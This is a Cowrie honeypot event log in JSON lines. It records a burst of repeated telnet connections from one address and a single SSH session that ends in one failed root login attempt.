{"eventid":"cowrie.session.closed","duration":31.13833260536194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:36.424661Z","src_ip":"202.91.32.11","session":"8e86c4a0dc41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59762,"dst_ip":"159.203.135.109","dst_port":23,"session":"0166e5d2069a","protocol":"telnet","message":"New connection: 202.91.32.11:59762 (159.203.135.109:23) [session: 0166e5d2069a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:36.470729Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59768,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f36c2ad0843","protocol":"telnet","message":"New connection: 202.91.32.11:59768 (159.203.135.109:23) [session: 6f36c2ad0843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:36.782604Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59772,"dst_ip":"159.203.135.109","dst_port":23,"session":"284777b0b864","protocol":"telnet","message":"New connection: 202.91.32.11:59772 (159.203.135.109:23) [session: 284777b0b864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:37.116364Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59782,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe9946aff47f","protocol":"telnet","message":"New connection: 202.91.32.11:59782 (159.203.135.109:23) [session: fe9946aff47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:37.267273Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59796,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2f071fe5796","protocol":"telnet","message":"New connection: 202.91.32.11:59796 (159.203.135.109:23) [session: c2f071fe5796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:37.378946Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59810,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a00828d0495","protocol":"telnet","message":"New connection: 202.91.32.11:59810 (159.203.135.109:23) [session: 2a00828d0495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:37.391556Z"}
{"eventid":"cowrie.session.closed","duration":31.197588205337524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:37.653937Z","src_ip":"202.91.32.11","session":"b5e5137a63da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00459885597229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:38.423349Z","src_ip":"202.91.32.11","session":"828306ee10e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59824,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a4654378421","protocol":"telnet","message":"New connection: 202.91.32.11:59824 (159.203.135.109:23) [session: 9a4654378421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:38.610626Z"}
{"eventid":"cowrie.session.closed","duration":31.498822450637817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:39.093431Z","src_ip":"202.91.32.11","session":"2f0393a04743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.41009831428528,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:39.439401Z","src_ip":"202.91.32.11","session":"4785ae16678f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057512283325195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:39.471165Z","src_ip":"202.91.32.11","session":"ca5e64239a5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25121283531189,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:39.839653Z","src_ip":"202.91.32.11","session":"de53ff4b21f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59830,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b9f4706b60","protocol":"telnet","message":"New connection: 202.91.32.11:59830 (159.203.135.109:23) [session: 36b9f4706b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:39.845000Z"}
{"eventid":"cowrie.session.closed","duration":31.45594596862793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:39.919621Z","src_ip":"202.91.32.11","session":"a366023f5d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691864490509033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:40.344478Z","src_ip":"202.91.32.11","session":"41304b236567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59836,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52a53ddd693","protocol":"telnet","message":"New connection: 202.91.32.11:59836 (159.203.135.109:23) [session: b52a53ddd693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:40.390008Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59852,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5455e00930","protocol":"telnet","message":"New connection: 202.91.32.11:59852 (159.203.135.109:23) [session: 3f5455e00930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:40.409146Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47778,"dst_ip":"10.17.0.5","dst_port":23,"session":"6600ccc3c2ea","protocol":"telnet","message":"New connection: 45.63.42.31:47778 (10.17.0.5:23) [session: 6600ccc3c2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:40.829012Z"}
{"eventid":"cowrie.session.closed","duration":32.403374910354614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:40.888184Z","src_ip":"202.91.32.11","session":"01216525e1b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59854,"dst_ip":"159.203.135.109","dst_port":23,"session":"81dc7afc3f75","protocol":"telnet","message":"New connection: 202.91.32.11:59854 (159.203.135.109:23) [session: 81dc7afc3f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:41.120720Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59864,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1dd67a5c0d6","protocol":"telnet","message":"New connection: 202.91.32.11:59864 (159.203.135.109:23) [session: a1dd67a5c0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:41.245069Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":59866,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3bf7d124070","protocol":"telnet","message":"New connection: 202.91.32.11:59866 (159.203.135.109:23) [session: e3bf7d124070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:41.274239Z"}
{"eventid":"cowrie.session.closed","duration":31.20703363418579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:41.479293Z","src_ip":"202.91.32.11","session":"6399fbb5a247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.140955686569214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.048242Z","src_ip":"202.91.32.11","session":"004a265c245d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.609745740890503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.298899Z","src_ip":"202.91.32.11","session":"e26d54d06aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05790877342224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.368122Z","src_ip":"202.91.32.11","session":"2a30bbc227dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561928033828735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.381471Z","src_ip":"202.91.32.11","session":"70347eba184d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":53054,"dst_ip":"159.203.135.109","dst_port":22,"session":"3515a3b49e3c","protocol":"ssh","message":"New connection: 114.141.59.195:53054 (159.203.135.109:22) [session: 3515a3b49e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.697762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.702879Z","src_ip":"114.141.59.195","session":"3515a3b49e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40518,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd4686595f9f","protocol":"telnet","message":"New connection: 202.91.32.11:40518 (159.203.135.109:23) [session: dd4686595f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.908950Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:42.943525Z","src_ip":"114.141.59.195","session":"3515a3b49e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.00582408905029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:43.029140Z","src_ip":"202.91.32.11","session":"6329e1521e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38463044166565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:43.239806Z","src_ip":"202.91.32.11","session":"443e98558a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179460525512695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:43.612027Z","src_ip":"202.91.32.11","session":"8ae6d2f1d81d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40530,"dst_ip":"159.203.135.109","dst_port":23,"session":"32f76911e322","protocol":"telnet","message":"New connection: 202.91.32.11:40530 (159.203.135.109:23) [session: 32f76911e322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:43.853193Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7y6t5","message":"login attempt [root/p0o9i8u7y6t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:43.949325Z","src_ip":"114.141.59.195","session":"3515a3b49e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40546,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f25790cd17d","protocol":"telnet","message":"New connection: 202.91.32.11:40546 (159.203.135.109:23) [session: 6f25790cd17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:44.850249Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:45.195066Z","src_ip":"114.141.59.195","session":"3515a3b49e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40562,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e0531d18297","protocol":"telnet","message":"New connection: 202.91.32.11:40562 (159.203.135.109:23) [session: 2e0531d18297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:45.474428Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40572,"dst_ip":"159.203.135.109","dst_port":23,"session":"529248a87d0e","protocol":"telnet","message":"New connection: 202.91.32.11:40572 (159.203.135.109:23) [session: 529248a87d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:45.861397Z"}
{"eventid":"cowrie.session.closed","duration":31.44329047203064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:45.911807Z","src_ip":"202.91.32.11","session":"456f994bf89f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56334,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a4d1fe932a0","protocol":"telnet","message":"New connection: 45.63.42.31:56334 (10.17.0.5:23) [session: 3a4d1fe932a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:46.069904Z"}
{"eventid":"cowrie.session.closed","duration":30.340489387512207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:46.208894Z","src_ip":"202.91.32.11","session":"a72853f3b14e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.476853609085083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:46.229617Z","src_ip":"202.91.32.11","session":"ee953607597c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.146167755126953,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:46.269637Z","src_ip":"185.26.126.47","session":"13f7111968a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728864669799805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:46.343513Z","src_ip":"202.91.32.11","session":"ea0c2350fe4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43798017501831,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:46.401021Z","src_ip":"202.91.32.11","session":"0d2297e8975e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40588,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a8c311f4095","protocol":"telnet","message":"New connection: 202.91.32.11:40588 (159.203.135.109:23) [session: 7a8c311f4095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:47.676986Z"}
{"eventid":"cowrie.session.closed","duration":32.780086278915405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:47.773291Z","src_ip":"202.91.32.11","session":"d5bb74e81a3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876625299453735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:48.364120Z","src_ip":"202.91.32.11","session":"c8861405d8d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40590,"dst_ip":"159.203.135.109","dst_port":23,"session":"06b71d49ca2b","protocol":"telnet","message":"New connection: 202.91.32.11:40590 (159.203.135.109:23) [session: 06b71d49ca2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:48.371282Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40600,"dst_ip":"159.203.135.109","dst_port":23,"session":"df7d0ee4c8f1","protocol":"telnet","message":"New connection: 202.91.32.11:40600 (159.203.135.109:23) [session: df7d0ee4c8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:48.529646Z"}
{"eventid":"cowrie.session.closed","duration":31.38686490058899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:48.539568Z","src_ip":"202.91.32.11","session":"cf8a21e92156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40614,"dst_ip":"159.203.135.109","dst_port":23,"session":"61729247c7a1","protocol":"telnet","message":"New connection: 202.91.32.11:40614 (159.203.135.109:23) [session: 61729247c7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:49.396754Z"}
{"eventid":"cowrie.session.closed","duration":31.698918342590332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:49.783525Z","src_ip":"202.91.32.11","session":"b57c040de673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.286186695098877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:49.907380Z","src_ip":"202.91.32.11","session":"6f677a0c19ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40620,"dst_ip":"159.203.135.109","dst_port":23,"session":"e761cebbf6a2","protocol":"telnet","message":"New connection: 202.91.32.11:40620 (159.203.135.109:23) [session: e761cebbf6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:49.971876Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40632,"dst_ip":"159.203.135.109","dst_port":23,"session":"f872f35007ca","protocol":"telnet","message":"New connection: 202.91.32.11:40632 (159.203.135.109:23) [session: f872f35007ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:50.326498Z"}
{"eventid":"cowrie.session.closed","duration":32.13502764701843,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:50.610002Z","src_ip":"202.91.32.11","session":"d55aa5836015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40640,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9198926b6ba","protocol":"telnet","message":"New connection: 202.91.32.11:40640 (159.203.135.109:23) [session: f9198926b6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:51.119915Z"}
{"eventid":"cowrie.session.closed","duration":30.89630126953125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:51.420783Z","src_ip":"202.91.32.11","session":"19b51121b8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40644,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ea89fa3122","protocol":"telnet","message":"New connection: 202.91.32.11:40644 (159.203.135.109:23) [session: 08ea89fa3122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:51.472092Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40654,"dst_ip":"159.203.135.109","dst_port":23,"session":"23613b815799","protocol":"telnet","message":"New connection: 202.91.32.11:40654 (159.203.135.109:23) [session: 23613b815799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:51.694521Z"}
{"eventid":"cowrie.session.closed","duration":30.797744512557983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.242137Z","src_ip":"202.91.32.11","session":"af9538d866a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40658,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd42009c505","protocol":"telnet","message":"New connection: 202.91.32.11:40658 (159.203.135.109:23) [session: 1bd42009c505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.346710Z"}
{"eventid":"cowrie.session.closed","duration":31.228789806365967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.453185Z","src_ip":"202.91.32.11","session":"a160953e0de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.573768615722656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.577090Z","src_ip":"202.91.32.11","session":"e86d71696ac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.516210079193115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.800539Z","src_ip":"202.91.32.11","session":"bd7bc95e374f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211047172546387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.921712Z","src_ip":"202.91.32.11","session":"7ad53ee6bb31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"200bbae3ef01","protocol":"telnet","message":"New connection: 202.91.32.11:37656 (159.203.135.109:23) [session: 200bbae3ef01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:52.964660Z"}
{"eventid":"cowrie.session.closed","duration":30.404224634170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:53.178209Z","src_ip":"202.91.32.11","session":"62886ffb19a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680798292160034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:53.263155Z","src_ip":"202.91.32.11","session":"32e8f5f82ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37668,"dst_ip":"159.203.135.109","dst_port":23,"session":"394b9a41aef8","protocol":"telnet","message":"New connection: 202.91.32.11:37668 (159.203.135.109:23) [session: 394b9a41aef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:53.537561Z"}
{"eventid":"cowrie.session.closed","duration":31.59064292907715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:54.473553Z","src_ip":"202.91.32.11","session":"aec420821055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37670,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fe57472457c","protocol":"telnet","message":"New connection: 202.91.32.11:37670 (159.203.135.109:23) [session: 6fe57472457c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:54.495605Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":37678,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4ee8500923","protocol":"telnet","message":"New connection: 202.91.32.11:37678 (159.203.135.109:23) [session: ba4ee8500923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:18:54.602625Z"}
